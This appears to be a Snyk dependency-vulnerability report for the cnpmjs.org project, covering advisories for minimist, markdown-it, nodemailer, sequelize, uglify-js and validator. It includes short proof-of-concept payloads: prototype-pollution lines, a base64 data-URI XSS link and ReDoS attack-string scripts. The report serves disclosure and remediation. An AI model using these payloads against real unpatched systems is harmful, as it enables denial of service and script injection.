Disclosure Timeline

  • November 28th, 2016 - Reported the issue to package owner.
  • November 28th, 2016 - Issue acknowledged by package owner.
  • December 06th, 2016 - Issue fixed and version 2.5.5 released.

Remediation

The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface. Otherwise, Upgrade ejs to version 2.5.5 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-onerror@1.2.1 swig@1.4.2 optimist@0.6.1 minimist@0.0.10

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.

PoC by Snyk

require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true

require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.1, 1.2.3 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: markdown-it
  • Introduced through: markdown-it@3.1.0 and koa-markdown@2.0.2

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 markdown-it@3.1.0
    Remediation: Upgrade to markdown-it@4.1.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-markdown@2.0.2 markdown-it@3.1.0

Overview

markdown-it is a pluggable markdown parser used for rendering markdown content to html.

Affected versions of the package allowed the use of data: URIs for all mime types by default potentially opening a door for Cross-site Scripting (XSS) attacks.

The fix was introduced in version 4.1.0, whitelisting the following four data types image/gif, image/png, image/jpeg and image/webp while blocking the others by default.

Data URIs enable embedding small files in line in HTML documents, provided in the URL itself. Attackers can craft malicious web pages containing either HTML or script code that utilizes the data URI scheme, allowing them to bypass access controls or steal sensitive information.

An example of data URI used to deliver javascript code. The data holds <script>alert('XSS')</script> tag in base64 encoded format.

[xss link](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

ֿInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade to markdown-it version 4.1.0 or newer.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: markdown-it
  • Introduced through: markdown-it@3.1.0 and koa-markdown@2.0.2

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 markdown-it@3.1.0
    Remediation: Upgrade to markdown-it@12.3.2.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-markdown@2.0.2 markdown-it@3.1.0

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the /s+$/ in line 23 of lib/rules_inline/newline.js. This expression is used to remove trailing whitespaces from a string, however, it also matches non-trailing whitespaces. In the worst-case scenario, the matching process would take computation time proportional to the square of the length of the non-trailing whitespaces. It is possible that a string containing more than tens of thousands characters, as markdown-it handles Markdown, would be passed over the network, resulting in significant computational time.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade markdown-it to version 12.3.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: markdown-it
  • Introduced through: markdown-it@3.1.0 and koa-markdown@2.0.2

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 markdown-it@3.1.0
    Remediation: Upgrade to markdown-it@10.0.0.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-markdown@2.0.2 markdown-it@3.1.0

Overview

markdown-it is a modern pluggable markdown parser.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). Parsing _*… takes quadratic time, this could be a denial of service vulnerability in an application that parses user input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade markdown-it to version 10.0.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: nodemailer
  • Introduced through: nodemailer@1.11.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 nodemailer@1.11.0
    Remediation: Upgrade to nodemailer@6.9.9.

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the attachDataUrls parameter or when parsing attachments with an embedded file. An attacker can exploit this vulnerability by sending a specially crafted email that triggers inefficient regular expression evaluation, leading to excessive consumption of CPU resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade nodemailer to version 6.9.9 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: sequelize
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1
    Remediation: Upgrade to sequelize@6.28.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Information Exposure due to improper user-input, by allowing an attacker to create malicious queries leading to SQL errors.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: uglify-js
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-onerror@1.2.1 swig@1.4.2 uglify-js@2.4.24

Overview

uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade uglify-js to version 3.14.3 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: uglify-js
  • Introduced through: koa-middlewares@2.1.0

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-onerror@1.2.1 swig@1.4.2 uglify-js@2.4.24
    Remediation: Open PR to patch uglify-js@2.4.24.
  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 koa-middlewares@2.1.0 koa-onerror@1.2.1 swig@1.4.2 uglify-js@2.4.24
    Remediation: Open PR to patch uglify-js@2.4.24.

Overview

The parse() function in the uglify-js package prior to version 2.6.0 is vulnerable to regular expression denial of service (ReDoS) attacks when long inputs of certain patterns are processed.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade to version 2.6.0 or greater. If a direct dependency update is not possible, use snyk wizard to patch this vulnerability.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@5.22.5.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug function

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 13.6.0 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@3.35.1

Detailed paths

  • Introduced through: cnpmjs.org@cnpm/cnpmjs.org#f3306f7ff93012f0c5ef8ace3be66ac24749f0a2 sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to sequelize@5.22.5.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isHSL function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "hsla(0"
    for (var i = 0; i < n; i++) {
        ret += " "
    }

    return ret+"◎";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isHSL(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

